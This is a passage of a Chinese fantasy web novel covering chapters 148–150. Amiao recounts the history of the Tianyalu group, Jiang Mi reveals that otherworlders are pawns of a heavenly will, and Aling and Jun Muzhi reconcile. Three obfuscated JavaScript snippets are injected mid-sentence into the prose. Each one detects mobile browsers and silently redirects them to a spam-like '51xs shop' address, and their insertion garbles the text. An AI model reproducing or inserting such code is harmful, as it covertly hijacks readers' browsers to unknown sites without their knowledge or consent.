青花遇到过很多和孔冶相同经历的异世者,他成立天涯路之初想过要改变这种处境,最开始他们做的是类似新手指引的工作。 去混沌寻找异世者,教导他们生存规则,协助开发升级系统功能。 齐仲吟是天涯路的成员,代号素三,他负责引导新手并梳理他们的心理问题。 “极端的环境里,大多数人选择恶的一面。”阿庙说这话时语气平淡。 “有人暴露了天涯路的存在。” “那时天诛院刚建立,正需要这种机会施展拳脚。” “也是这时,素三曾经帮助过的异世者用系统定位他的位置,找到夏家,威胁他说出天涯路的成员,素三没有同意,两人打斗时被夏素发现。” 阿庙将煮好的热茶推到江弥身前:“中间发生了什么我不清楚,我们到时那人已死,素三正在和夏素对峙,为了不让天诛院查到夏家,我们放了一把火。” 江弥问:“夏素知道了你们是异世者?” “所以她只能死。”阿庙说:“素三也知道这点,他向我求情,让他亲自处理这件事。” 江弥:“他杀了夏素?” “他消除了她的记忆。”阿庙:“素三的系统能模糊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481923|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扭曲人的记忆,这是他能帮新人梳理心理问题的重要手段。” 如果事情只是到这里,这两人也不会死。 他继续说:“素三为了让天涯路不追究夏素夏星回,他选择自杀为他们代过。但事情发生了意外,夏素的记忆没有更改,她重新回到夏家向我们复仇。” 江弥在心中补全他没说的部分,夏家人的记忆已经被齐仲吟修改,青花将夏家当做天涯路大本营。随后夏素认出青花和孔冶,被孔冶灭口。 阿庙说:“妄图提高异世者的生存率,这是我犯的第一个错误。” “粉彩是天涯路的第二名成员,一个优秀的执行者,他的任务是团结异世者,开始只是散落在各处的异世者,接着便是被囚禁在世家的异世者,后来他将主意打到天诛院,劫走三堂的异世者。” “这部分异世者拥有强烈的报复心,他们在三堂经历过非人的折磨,只想摧毁这个世界。他们在守望军的组织下执行‘夭折计划’,大肆屠杀。” “我只看到粉彩的执行力,忽略他内心的柔软,这是我犯的第二个错误。” “这时的粉彩精神状态出了问题,我没有发现。有人在群里求救,他去了后看到异世者被虐杀的场景,疯了。当场几乎没有活口,死神赶去将人打晕才带走他。” 所有人只道粉彩杀尽池家,恶贯满盈,落入三堂的下场属实罪有应得,却无人说他为何屠尽池家。 阿庙沉默了下,道:“粉彩的行为暴露了天涯路的行踪,他因杀戮日夜被痛苦折磨,自愿请缨,为其他人铺路。” 江弥立即想到苏与商带阿玲去看粉彩时说的话。 ——“旁人都道是我将人抓回来的,实际是他主动撞上来。” ——“杀了那么多人,得活着赎罪啊。” 阿庙没再说粉彩,他低眉品茶,随后才道:“秘色,也就是苏与商,她很聪明,主动找到我,她说她没法安心当个什么都不知道的苏家大小姐,她得做点什么。” “秘色是胎穿,名副其实的苏家大小姐,她对各类信息极其敏锐。她选择离开苏家进入天诛院,但被发派到边缘地带,接触不到重要信息。于是她抓到粉彩,从粉彩嘴里撬出逃跑的异世者下落,得知天涯路里青花和白地黑花的存在,她一步步走到如今天的诛院核心。” 阿庙看向江弥:“识界到底是什么?” 江弥以为他在问自己,道:“一个人所有的映射。” 阿庙问:“玩过游戏吗?游戏面板会呈现角色的所有属性,敏捷、力量、智力,你不觉得识界和这相似?我们的精神象征、修炼道途、思想成像都在识界中呈现。” 他接连发出询问:“这到底是个什么地方?神的游戏?我们又是什么?BOSS?” 江弥沉默了。 这个问题她也曾思考过无数次,直到见到那个存在,她才意识到异世者真正的处境。 阿庙说:“天诛院,世家,皇室,异世者,神脉家族,散盟会,我们在不停地寻找真相,探索异世者的出路。” 江弥垂眼看没了热气的绿色茶水,半晌说:“我不会加入天涯路。” 阿庙:“我尊重你的选择。” “但我会告诉你真相,”江弥抬眼看他,“除了神,天地诞生了另一种存在,或许这样说比较好理解,天道,天地意志,某种法则。” “它与神的博弈中,我们是它的棋子。” 148. 148 阿庙沉默了很久很久,手中的茶水已经冷却,他像个被关掉开关的机器,江弥没有出声打扰,许久后才听他感慨道:“原来如此。” 其实所有人都知道,只是下意识忽略了。 就像人类习惯了无形无色的空气,却不会注意它的存在,只在人提起时才恍然,对哦,我在呼吸空气。 阿庙昨日刚说过异世者得上天眷顾,天生被字灵认可,却没细想上天的存在。 江弥的话像是用一滴染料让无形无色的存在显了形。 某一刻,阿庙似乎能察觉一道无处不在的凝视,沉默无声的,漠然旁观的。 细细感受时,又仿佛只是错觉。 阿庙放下茶杯,沉吟:“异世者似乎存在很久了。” 这场棋局下了多久,异世者是何时入局的? “最早一例记载应该是千年前,”江弥回忆在墨池看到的记录,那里的记载横贯上万年,几乎算是太虚大陆的历史,“但那时的异世者很弱,没有混沌,没有神品,也没有系统。” “变化从百年前开始,混沌降临,人异化成魊,异世者携系统而生,像是天外来客,搅乱了太虚大陆的局势。” 这是她在悠久的历史长河中捕捉到的变化,最开始的穿越或许只是试探,后来则因为某个原因异世者频繁降临。 阿庙沉眉思索,重新整理现有处境:“棋局后一方是所谓的天道,另一方是现存的神,这两者间的博弈,异世者承天道意志对付神,神则是对应的神脉家族、神脉家族控制的修真界,所以说,异世者受到整个修真界驱逐,是神的意志?” 江弥纠正道:“相较万年前,如今的神已至末路,君氏神被君氏强行挽留在世,乐正氏试图创造自己的神无果,姬氏……” 她记起妃绯的万人迷系统和滕宝的龙傲天系统,这些都有桃姑的神力体现。 她语气笃定道:“姬氏的神只怕也是残缺,阴氏神从不现身,阴氏更是被血脉折磨,后人不是疯就是残。从这些来看,天道要对付的不仅是神,还有神脉家族数千年来延续的权利和力量。” 阿庙:“它想消灭和神有关的一切?” 江弥点头:“神陨落极其困难,神的意志、残肢、神魂都可能让其复活,能完完全全使其消灭的只有天道。” 她想到了异世者的系统。 好像看到一个面无表情捡破烂的小孩,在这条河里捞出一只神的断手,在那块石头上抠下一滴神血,就这么七零八落地收集所有神的东西,炼化力量,将其杂糅成系统给穿来的他们套上。 阿庙:“现在看来,两方对峙里它落下乘。” 江弥抬眼:“但如今的环境不适合神,它在壮大,神却在衰弱。” 阿庙一针见血地指出:“神的衰弱会持续多久?” 江弥沉默,他又问:“异世者仍在降临,启蒙院从未停止过收容,死亡每时每刻都在发生。” 江弥知道,她比谁都知道。 她左眼的痛楚从未平息过,曾经无法忍受的痛早习以为常。 半晌,她缓缓问:“你会做什么?” 阿庙没答,垂眼思索,忽然问她:“你说乐正氏创造自己的神未果,是怎样的?” 江弥以为他在为神脉家族没有自己的神而奇怪,便说明乐正氏培养长恩、试图为墨池创造意识的事,她隐瞒了自己在其中的作用。 最后她转述君慕之的话:“这世间不会再有新神诞生。”因为天道不让。 阿庙没再说话。 江弥喝掉冷却的茶水,重新倒了杯,安静等他思考。 不知过了多久,房门被敲响,是孔冶的声音:“竹林着火了。” 阿庙起身往门外走,江弥也过去,阿庙的手放在门上忽然站定不动,他问江弥:“你杀过多少人?” 江弥眉梢下压:“我没数过。” 阿庙面向门,江弥看不清他表情。 他说:“我亲手杀的有五人,通过我命令死去的更多,至少百人以上。不仅我,天涯路的每个人都肩负数不清的死亡和痛苦。” 江弥:“你想说什么?” “当你身上背负着无数人的命运时,你的死亡和痛苦就变得无足轻重。”他的声音变得缥缈,“总有一天,你会明白。” 江弥没来得细想阿庙就开门走出,孔冶和他细说竹林起火的情况。 廖珮缨也因这动静出门查看,回来道:“是个小子放的火,应该是夏家人。” 廖珮缨和天音没在夏家露过面,不适合出去,阿庙和孔冶去查看情况,江弥回头看了眼天音,他慢吞吞朝江弥笑了下,下秒两眼无神,陷入自己的世界。 江弥朝着竹林的方向走,和进来时相同,眼前忽然一闪便出现在竹林,顷刻间热浪席卷而来,星辰之力驱散热风,她朝竹林的另一个方向走,避免和阿庙等人出现在同个地方。 刚走出竹林,就同正在点火的齐乐碰了个正着。 江弥在他指尖搓出的火球上多看了两眼,抬眼看他皱眉狐疑:“你怎么从这里出来?” 江弥反问:“你又在做什么?” “玩火。”他神色坦然地将火球扔出去,竹林全被落叶铺满,火球落地的瞬间点燃一片,他拍拍手两步走到江弥面前:“我还没问你,你怎么认识的阿庙?我听下人说你是他朋友?你怎么跟夏家产生的交集?” 这是怀疑阿庙的身份了? 齐乐又往前走了一步,他的眼睛映照着火光,挑眉咧嘴笑:“你们在密谋什么?” “想知道?”江弥伸手,“十万金。” “我草!十万金?!你当小爷是钱庄吗?”齐乐吓得后退几步,一脸惊恐看她。 江弥正经道:“我的情报值这个价。” 齐乐抱胸后缩着脑袋看她,半晌摆手:“走走走,小爷不跟女人计较,最近有事也别来夏家,小爷刚被认回,宏图霸业才开始,没空招待小小启蒙院同窗。” 江弥这才认真看向齐乐,他身上穿着夏家的衣裳,浅绿长袍,袖口和衣襟有双鱼细纹,抱臂的动作让长长的袖子自胸膛垂下。 夏家人极力将他打扮得像个少爷,江弥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493334|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到的却是在启蒙院成长又在外游历变得冷硬的少年。 夏家和天涯路的事,她终究只是局外人。 江弥点点头,往外走去,她在来往灭火的人流里离开了夏家。 这场大火没有造成太大损失,夏疏找到放火的齐乐,问他怎么回事,齐乐挠着额头说是他修炼不小心,夏疏只得叹声将这事压下,回头同管家商议在家里各处放水缸和砍掉竹林。 齐乐没所谓地听着,察觉一道视线,他歪头看去,同没什么表情的阿庙对视,齐乐龇牙朝他笑。 着火的事情直到日落才平息。 阿庙回到穿过烧得焦黑的竹林,来到后方的空间,这里差点就暴露了。 阿庙找到天音,坐在桌前看着他手里的青绿籍:“你因为‘不可说’保持沉默,但我需要知道这条路是否有尽头。” 天音缓缓扬首,声音空灵:“你确定了吗?” 阿庙说:“我只看到一条路,唯有前进。” 天音不再说话,将手中的无字书摊开,粉色瞳孔凝聚神丝,无数字符在他眼中跳跃变换,雪白的小手按住书页,过了很久才艰难翻动一页,阿庙耐心十足地看他卡壳得如同一帧一帧的动画。 翻到第五页时,天音的眼睛忽然溢血,血滴落在纸张上,犹如烧红的红铁,无数跃动的字符忽的燃烧起来,连带着整本书一同燃烧。 天音僵硬着没动作,阿庙在火燃起时隔空将青绿籍扔地上,拧眉看瞬间燃烧得连灰烬都没有的书本。 “怎么回事?”他问天音。 天音捏着袖子缓慢擦眼角,雪白的皮肤染上血痕,他慢吞吞说:“触及‘不可说’。” 阿庙:“为什么会触及‘不可说’?” 天音没有直说,而是道:“任何神灵都有起源。” 阿庙先是顿了下,反应片刻意识这话意思,整个人所未有地兴奋起来,血液上涌,他的皮肤因激动泛红。 他忽而转身推开门,朝院中的孔冶道:“让秘色通知玉骨,加快天机的研制,下一步,启动天机计划。” 咯吱一声,廖珮缨猛地推开门,抓住竹门的手忍不住用力:“如果我没听错的话,你要启动天机云罗?” 阿庙眼睛里的光芒热烈:“你没听错。” “你疯了吗?!”廖珮缨再也保持不住优雅,“你知道这意味着什么?你在自投罗网,还打算拉着所有人一起陪葬!” 阿庙望向她:“你在江弥身上窥见过什么?” 廖珮缨神色凝滞,柳眉紧蹙,口中忍不住低喃:“太疯狂了,这实在是太疯狂了!” 阿庙全身像是有火在燃烧,他异常亢奋:“留在夏家已经没用,所有人出动。” · 齐乐的记忆还未完全恢复,他面对夏家人会产生熟悉的感觉,但夏庙和叶子除外,他怀疑这两人是谋害他娘的凶手。 放完火的第二天,齐乐准备再搞番大事,定要叫这两人露出马脚,结果一问,两人大早就离开夏家外出。 齐乐低眉沉思,一场大火就将他们吓跑了? 149. 149 阿玲终于在君慕之识界清出小片净土,围绕着神台一角,神台的光芒照亮这方空间,绿色光团特别喜欢在这里活动,她每次来都能看到几颗飞来窜去。 阿玲成就感十足地回到现实,精神仿佛被掏空,没法回到江弥识界,只能就地闭眼打坐,尽快恢复精力。 乐正氏为了让她成为墨池的灵,强行将她的修为提高至九层,但境界虚浮,第八层和第九层神台带虚影,虚假得好似过不了多久就会溃散成金色粒子。 好在这些神脉家族都喜欢将清气圈起来自用,阿玲毫不客气地将其吸纳在体内,巩固修为。 许久后,阿玲从打坐中醒来,君慕之在窗台前看书,墨色长发几乎拖地,她习惯性地走过去捞起头发,手中一空,再抬眼,君慕之握着书出现在五步外。 阿玲心口忽然生出郁气,深吸口气,靠近时看他想退又忍住的样子,气得伸手拽住他头发:“你躲什么?” 君慕之垂在袖中的手紧握,书卷被捏出褶皱。 之前阿玲和君慕之相处时江弥都在场,就算君慕之对阿玲态度冷淡,转头江弥还是会感受到君慕之下意识的亲近,她知道君慕之面对两个身体很别扭,便也不去计较。 但阿玲的所知所感和江弥是相通的。 这样的好处无疑是很多的,两个身体能互不干扰地做很多事,阿玲在执行散盟会任务时,江弥还能在天雪峰研究星图。 可问题是,感情也是相通的。 只有阿玲和君慕之时,她只感受到冷漠和疏离,一次两次还行,但多了就像在体验冷暴力。 她觉得自己现在跟有精神分裂似的,一方面她知道君慕之还是和以前一样喜欢他,也感受到了这种喜欢,另一方面又被冷漠对待,她见过君慕之喜欢的模样,也就受不了忽冷忽热。 一想到这,心头火就是压不下。 她将君慕之拉下来,盯着他垂下的黑睫:“君慕之,你看清楚我是谁。” 君慕之垂眸不言,阿玲另只手贴在他耳后,察觉他想动手,她沉着脸:“你若甩开我,我立马离开。” 君慕之抬起的手凝滞,阿玲不管他的迟疑,耳后的手用力,抬起他的脸让他看着自己,阿玲看进他眼底:“你喜欢我什么?” 君慕之掀起眼睫,眸光闪动。 阿玲没有等到他的回答,忍不住向他确认:“你是喜欢我的吧?君慕之,你喜欢我吗?” 没有点头,也没有否认。 她从记忆里寻找,恍然发现,君慕之从未亲口说喜欢她,他只是没否认。 阿玲皱眉,事情有点棘手。 “少主,有人前来拜访。”门外侍女小声询问,“是否前去见客?” 屋内沉默半晌。 阿玲松手后退,发热的头脑快速冷却。 君慕之朝门外应了声,回头去看阿玲,她在喝水冷静情绪,迟疑片刻询问:“要去看吗?” 阿玲在思索接下来要怎么做。 她的原计划是拜访该拜访的人,随后同君慕之四处游历,他若想待在君氏她也愿意陪着,但现在出现偏差。 正想着是继续探究君慕之的喜欢,还是退后一步她自己想办法将两者分割开,冷不丁听到这么一问。 阿玲捏着茶杯深吸口气:“去,怎么不去?” 君慕之开门,两名侍女进来,阿玲坐在梳妆台前看着侍女们帮她挑选发带衣裙,一名侍女要扯掉头上发带时阿玲按住她的手:“别动。” 那侍女不知所措,另一个侍女见状笑道:“姑娘,您若喜欢这种样式的发带我去寻来,这件茶白长裙很适合您,白茶搭配胭脂色才好看呢!” 阿玲只说:“别动它。” 说话讨巧的侍女神色有些僵,她回头看了眼,君慕之的目光在阿玲头上停留一瞬,转身出门。 侍女还是没动头发,她看着阿玲自己辫发,用半截水绿发带绑住发梢,没忍住道:“姑娘,我们这有心灵手巧的织娘,能帮姑娘补全另外半截的。” 阿玲换上茶白色长裙,整个人越发清冷。 她朝侍女颔首:“多谢,不用了。” 君慕之在屋外等着,阿玲出来时他收敛眸光,朝前厅走去。 前来拜访的是黎家和冷家。 阿玲来君氏的这段时间不是帮净化秽气就是打坐巩固修为,君慕之也不怎么出门,她也就很少出去。 她对君氏的印象是老派,大部分建筑用年份极高的木头建造,颜色是庄重沉稳的黑色深红,白日艳阳高照也显出几分沉重。 君氏有几个年迈的族人来看过君慕之,阿玲听他们说话有种封建大家长的意味。 拜访也不是没有,君慕之大都是拒绝的。 阿玲随君慕之坐下,黎家冷家两位家主谈天下局势,聊到皇室动作时忍不住皱眉呵斥,君慕之很少发表言论,只礼貌倾听。 最近天一武会的动静确实有点大,阿玲也想听听其他世家看法如何。 忽觉一道目光望来,阿玲抬眼,便见黎家家主下座的倔强女子满脸敌意看她。 余光朝另一边扫视,冷家家主带来的是位清尘绝艳的白衣美人,她低眉静坐,仿佛一座冰雕的仙人。 忽然明白这场拜访是怎么回事。 相亲都相到她跟前来了。 就在这时,冷家家主笑呵呵提议:“都是我们这些上了年纪的在说,无趣得很,还是你们同龄的才有话聊,正巧,好些时日没找谷无妄这老匹夫打架了。” 黎家家主也起身:“打架没赌注有什么意思,我来给你们当裁判。” 大厅很快只剩四人,没人说话。 君慕之没发话,两名女子没敢说,阿玲则是在想,这种情况正牌女友该怎么做。 “君慕之。”阿玲平静问他,“我们分手了吗?” 君慕之眉心微蹙,正要开口,被黎家女子打断:“大胆,你怎么敢直呼君少主的名字?” 阿玲瞥她眼,没理,目视君慕之:“说话。” 君慕之:“我不曾说过。” 黎家和君氏有姻亲关系,黎莺的姑妈是君慕之叔母,姑妈提过君慕之身边有个女子,她本想能被君少主看中的想必是天香国色,没想到如此没规矩,连冷知雪都不如。 她怒斥:“简直是无理!君氏怎么进来你这么个野蛮粗俗之人?” 君慕之轻轻吐出两字。 “出去。” 冷知雪抬眸望了眼,自觉起身离开。 黎莺还以为是在说阿玲,脸上刚露喜色,就见君慕之眉眼含霜地望来,两者修为差距巨大,只一眼就让她忍不住心悸惧怕,她在心中忍不住质疑,不是说君少主性情平和? 黎莺下意识后退,差点撞到茶盏,陡然的声响让她起身慌忙往外跑,离开前她回头望了眼。 满脸寒意的君慕之放缓神色,起身朝说话女子走去。 姑妈说喜欢君慕之就想办法将他抢过来,姑妈说的不对,她觉得君慕之抢不过来。 待人都离开后,阿玲仰面问:“你是想让我吃醋,还是想让我知难而退?” 君慕之没说话,修长手指朝她脸颊伸来,阿玲没动,那只手越过脸侧绕后,即将触碰发带时阿玲侧了下脸,避开他的动作。 她皱眉问:“你做什么?” 君慕之的手停在半空,目光落在那条水绿色发带上,许久低眉看她:“你的执念,还在吗?” 江弥心中有个执念,差点将她活生生困在死灵界。 君慕之见她失控过两次,一次是在死灵界看到李二,一次是孙柏柔差点死在四方坛下。 她是个在感情上很吝啬的人,可和廖愈说启蒙院生活时,她提到几个小伙伴表情会不自觉变得柔软,提到李二时语气会很悲伤,她还以为隐藏得很好。 惦记君慕之的人都是为了从他身上获利,没人会将他视作执念。 但他们是对方的执念。 她戴着那条永不解开的发带,像在心里珍藏了一个永远无法释怀的人。 阿玲看他定在半空的手落下。 君慕之是个很含蓄的人。 他的每句话,她都要很认真思考他想表达的意思。 君慕之知道李二的存在,江弥能离开死灵界就有君慕之的功劳。 可经过刚才的吵架,她一时没把握是不是她理解的意思。 阿玲直接问:“这是询问,还是吃醋?” 君慕之沉默看她,方才垂下的手缓缓抬起,手背轻轻触碰她的脸颊。 这是一种妥协方式。 阿玲接受了。 “李二……”她缓缓吐出口气,“李二本来可以不死,可这些话我没法对孙柏柔说,也不能对崔大周三说。” “因为身份问题,我对所有人抱有戒备,但是启蒙院的孩子都经历过巨变,喜欢抱团,好像这样才有安全感。他们总是围在我身边吵吵嚷嚷,很烦。” “我那时遇到很多麻烦,很多事情都不懂,第二体出来后因为灵魂强度不够,经常动不动陷入昏厥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508553|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,上一秒还在吃饭,下一秒就可能倒在餐盘上。” “他们每个人的志向不同,崔大以后要杀异世者,李二想开家烤鸭店,周三很阴险,只听别人说自己不说,孙柏柔说她想见亲人。他们放心不下我,于是偷偷商量,选择最合适的李二照顾我。” “我们说好要去吃垮他的烤鸭店,说好谁吃赢我就喊谁哥,他们总是争这个,其实是我太无聊,他们拿这个逗我,我当时总觉得无聊的是他们。” “李二本来可以早早离开启蒙院去开烤鸭店,他为了我选择留下来,我那时陷入危机,整日埋头沉浸在自己的世界里,等我抬起头,只看到他的尸体。” “太突然了。李二死得太突然了。上一秒他还在对我大笑,一眨眼,他就被人虐杀躺在血泊里。” “我本来有机会救他,很多很多次,但我一次都没抓住。” “他是个很善良的人,有女孩子向他表白他还会苦恼怎么拒绝才能让对方不伤心。” “我只是,只是无法忍受,他死前经历了那样的痛苦。” 君慕之的拇指擦过她眼角,像在擦拭不存在的泪水. 他没有安慰说不是她的错,也没有说让她放下,只是安静地陪她经历一遍。 待她情绪平复,君慕之问:“你喜欢他吗?” 阿玲很诧异他会问出这样的问题,抬眼看到他眸色,忽然愣了下,她看出君慕之的迟疑。 就像她刚才也在怀疑,君慕之真的喜欢过她吗? 她对君慕之说过很多话—— “君慕之,我们重新签订神契,签一辈子的那种。” “君慕之,我会对你很好很好的。” “君慕之,要不要看星河?” “君慕之,你喜欢我。” 君慕之从没亲口说过喜欢她。 她也没说过。 思索良久,她忽然拿过贴在脸上的手,两只手握着他的,起身站在他面前:“君慕之,我似乎没有说过,所以你好好听着。” 她很认真说:“我喜欢你,要我爱一个人有点难,但如果在未来我会爱上谁,这个人只会是你。” 平静而炙热的表白忽的钻进他心里,仿佛产生了共振,忍不住快跳。 眼前的这个人,坦诚且热切,就如同不久前江弥自荐时对他说:“你不觉得我们是天作之合吗?” 君慕之垂眸看她,仿佛透过不同的皮囊看到同个人。 他弯下腰,长长的黑发滑到她怀里,眼底眸光明亮,清俊容颜缓缓逼近,阿玲眨了眨眼,就在他脸颊贴近的一瞬,抬手按在他额上,将人推远:“等等,我先问你,我是谁?” 君慕之忽而低声浅笑,将额上的手拿下来,欺身上前,顿了下,轻轻压上去,在她唇上印了个吻。 阿玲再次推开他:“你喜欢我吗?” 君慕之轻应:“嗯。” 阿玲皱眉看他:“你说不出‘我喜欢你’?” 阿玲看他闭嘴不语,又问:“我心悦你,我看上你了,我非你不娶,我爱你,你住在我心里,一个都说不出口?” 君慕之别开脸不看她。 阿玲将他的脸掰正,和他认真分析这次矛盾,尝试从根源解决:“如果下次我们发生矛盾,我又怀疑你不喜欢我怎么办?” “我先确认下,你的喜欢是针对江弥还是阿玲?还是两个?如果你只喜欢一个,另一个怎么办?我会一下子觉得你喜欢我,一下子觉得你不喜欢我?这很奇怪,没有人的喜欢是这样的。” “不然你先试着对阿玲表白,等下次见到江弥,再对江弥表白,这样两边都公平,就算再发生矛盾也不会上升到喜欢不喜欢这种根本性的问题。只要不动摇根本,任何矛盾都是调剂和情趣。” 君慕之也跟着思考,似乎被说服了,抬眸看着她刚要开口,努力了下,还是闭上嘴。 阿玲:“?”就这么难? 头发忽然被扯了下,君慕之将她发带取下,阿玲下意识伸手想拿回来,握了握,还是收回手。 她问:“你做什么?” 君慕之解开半截水绿发带,点点绿光从他指尖溢出,和水绿不同的绿,更鲜亮,却不耀眼。 绿光抽长成细密的丝,穿过发带开始编织,将发带另一截补全,末端缀着一朵水绿色花纹,原本的末端还织出一朵绿光花纹。 一条同色拼接的发带落在指间。 他走到阿玲身后,不太熟练地帮她整理头发,低声说:“它完整,则我心不改。” 150. 150 行吧,说不出就说不出。 阿玲抬手轻拂发丝,君慕之的手艺不怎么好,长长的带子垂下,有点歪。 “前来拜访之人是经过挑选的。”君慕之忽然说。 他解开发带重新整理,手不怎么听使唤,挑起一缕漏掉另外一缕,但他很有耐心,一点点梳理合拢。 阿玲反应了会儿才意识到他在解释刚才的相亲场景。 她没遇到君氏的人,无法得知他们对他的态度,但君慕之这样的人,怎么都该受到重视才对,这么长时间却只有几个族老来过一次。 这次又搞出场相亲。 “他们准备放弃你了?”阿玲回头看他,刚拢好的头发一下子散开,君慕之将她脑袋转过去,重新梳发,淡声道:“他们要的始终只有神血。” 阿玲心下不爽:“就是为了这个将你召回?” 君慕之眼前只有手里的头发,想了想江弥的辫子,他在脑海里分解辫子的结构,开始认真尝试,随口回答:“应该有乐正氏的手笔,他们惯常的手段。” “我杀‘不死树’失败后,知晓此时的几名君氏族人原想将此事摁下,乐正绪得知后宣扬开。神脉家族忌讳任何会让神陨落的事,君氏内部意见不合,最终有人以养病为由去廖家占卜,我离开君氏前往天雪峰。” 阿玲记得,她是从姬月生的口中得知君慕之弑神。 还好廖家占卜不假,让君慕之找到溪兰。 阿玲问:“这次是怎么回事?” 君慕之玉白手指在发丝穿梭,他不紧不慢道:“你破坏墨池,动摇乐正氏根本,他不信这是你一人所为,你和江弥与我关系匪浅,长恩和墨池的事先后发生,自然认定我在报复。我有弑神前科,只要他多加渲染,君氏自然会做出抉择。” 君氏选择“不死树”,放弃君慕之的神血,但又不甘如此,所以想让君慕之尽快诞生下代,期待他的孩子也能拥有浓度不低的神血。 这些神脉家族当真是,令人恶心啊。 阿玲抬手向后,捏捏他的手腕:“害你帮我背锅。” 君慕之笑了下:“无碍,迟早的事。” 阿玲忽然觉得君夫人是个伟大的女人,在这样的污浊环境里,她让君慕之长成纯净而通透的样子。 阿玲不解:“你既然知道他们想做什么,为什么还回来?” 君慕之:“有人动了我的东西。” 阿玲刚想回头,君慕之先一步按住她脑袋,看她没动才继续编头发:“有人让我保管一样东西,说很重要,我回来将它带走。” 阿玲想起那个长条木盒,刚回君氏时她是看到过君慕之将一个木盒收进储物玉牌。 上面的花纹让她觉得熟悉,却又记不起是何时见过。 等君慕之绑好头发后退一步,阿玲终于想起在哪里见过,她转身询问:“那个人交给你的!” 江弥曾两次见过少年时期的君慕之,一次是卫鸣严微死亡时看到的预知,一次是山主用夜游珠窥探她记忆。 那时君慕之刚从巫沙镇大混沌回君氏,君夫人和兰姨也在,他就是将这样的长条木盒交给两人,随后又被兰姨交还给他保管。 那时的兰姨也不是兰姨,是101神。 君慕之静静观赏自己的杰作,点头:“是五蕴神品莲。” 阿玲好奇:“这有什么用?” 君慕之说:“五蕴神品莲来自救苦天尊,祂主张世间一切事物都是由五蕴和合而成。色蕴代表一切的物质现象,受蕴为领纳外境的感受,想蕴是内心构画的外境,行蕴是受心念所驱的行,识蕴执着有一个‘我’。” 阿玲只听出色蕴代表物质,其他四蕴代表精神。 “救苦天尊认为,人能感受苦痛皆由五蕴起,解救众生也需从五蕴斩除。五蕴神品莲是这种思想的产物,能改造可见和不可见。” 懂了。 觉得痛苦是吧?我给你做个手术,把感受痛苦的器官给你摘了,从根源解决问题。 好彻底的思路啊。 阿玲转而问君慕之的相亲对象:“我听说黎家和谷家才是君氏的联姻对象,怎么不见谷家人?” 两人往住处走,君慕之说:“谷家没有适龄女子。” “哦,”阿玲好奇问,“冷家和君氏关系不错?” 君慕之:“谈不上好,百年前冷家传承面临断绝,他们供奉的神灵主动为君氏所用,冷家得君氏帮助才得以延续。句龙大帝只剩极小的残魂,但他本身实力强横,也能作僵神。” 阿玲忍不住感叹:“百神谱排名第七的句龙大帝啊,是谷学长的那位僵神?” 君慕之点头,看她感兴趣,多说了些:“厉害的僵神相当于半神,是除神脉家族的最强者。只有神脉家族才有能力收服僵神,这也是世家甘愿依附神脉家族的原因。君氏谷家,阴氏严家,乐正氏欧家,都拥有僵神。” 阿玲思索着说:“冷家这是想要将句龙大帝要回去咯?” 冷家供奉过句龙大帝,只要冷家和君氏结为姻亲,把僵神从谷家抢过来是迟早的事。 “此事有过一次,我爹……”君慕之顿了下,似乎不太习惯这么喊,“他看上冷家之女,冷家和君氏议亲,只是婚事临近时那女子忽然发病,最后取消婚约。” 阿玲:“什么时候?” 君慕之没理解她问这话的意思,还是说:“大约十八年前。” 渣滓!阿玲在心中骂了声,那时的君慕之才几岁呀。 蒋敏说过,除君夫人,他爹还有三房夫人,她听的时候没感觉,现在回想只觉生气,忍不住大骂人渣! 阿玲看着走在前方的君慕之,长长的黑发散落,看上去很孤独。 君夫人走后他一人在这种地方从少年长到青年。 完了,好像有点心疼。 阿玲三两步走到他身后,拉住他衣袖,君慕之转身望来,阿玲上前抱住他,用了点力,君慕之被突然的冲力惊得眨眼,随后将手放在她的发辫上。 阿玲语气惋惜:“可惜那时我们不相识。” 巫沙镇的少年如高高在上的夜色皎月,看不见人群里刚死里逃生的小女孩。 君慕之说:“你在启蒙院是怎样的?” 阿玲仰头看他:“你想听?” 君慕之点头,阿玲便从他怀里出来,牵着他的手走在蜿蜒曲折的檐廊下:“其实很无聊的,我刚来时很害怕,只想低调修炼……” 第二天阿玲在君氏走动时会被突然出现的护卫拦住。 随后她发现不仅是她,君慕之也如此。 阿玲问:“我们被监禁了?” 君慕之没有太多情绪,只道:“不急,你的修为需要巩固。” 知道君慕之有办法离开就行。 之后的时间阿玲只专心打坐和给他净化识界。 另一边的江弥早已回到小术院。 江弥再次住进天雪峰时还有种恍若隔世的感觉,其实距离她离开也不过几月。 天雪峰的木屋有人定时打理,被褥是柔软蓬松的,炉子旁有打好的水,她燃了颗火球,室内逐渐升温,窗外是肆虐的风雪,吞没所有繁杂。 